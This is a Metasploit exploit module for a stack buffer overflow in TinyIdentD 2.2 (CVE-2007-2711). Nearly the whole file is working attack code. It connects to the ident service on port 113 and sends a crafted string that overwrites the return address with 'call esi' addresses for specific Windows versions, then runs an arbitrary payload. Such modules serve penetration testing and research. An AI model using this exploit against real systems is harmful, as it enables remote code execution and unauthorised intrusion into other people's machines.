TinyIdentD 2.2 Stack Buffer Overflow

                                                ##
# $Id: tiny_identd_overflow.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TinyIdentD 2.2 Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow in TinyIdentD version 2.2.
				If we send a long string to the ident service we can overwrite the return
				address and execute arbitrary code. Credit to Maarten Boone.
			},
			'Author'         => 'Jacopo Cervini <acaro[at]jervus.it>',
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2007-2711'],
					['OSVDB', '36053'],
					['BID', '23981'],
				],
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0d\x20\x0a"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 Server SP4 English',   { 'Ret' => 0x7c2d15e7, } ], # call esi
					['Windows XP SP2 Italian',            { 'Ret' => 0x77f46eda, } ], # call esi

				],
			'Privileged'     => false,
			'DisclosureDate' => 'May 14 2007'
			))

		register_options([ Opt::RPORT(113) ], self.class)
	end

	def exploit
		connect

		pattern  = "\xeb\x20"+", 28 : USERID : UNIX :";
		pattern << make_nops(0x1eb - payload.encoded.length)
		pattern << payload.encoded
		pattern << [ target.ret ].pack('V')


		request  = pattern + "\n"

		print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")

		sock.put(request)


		handler
		disconnect
	end

end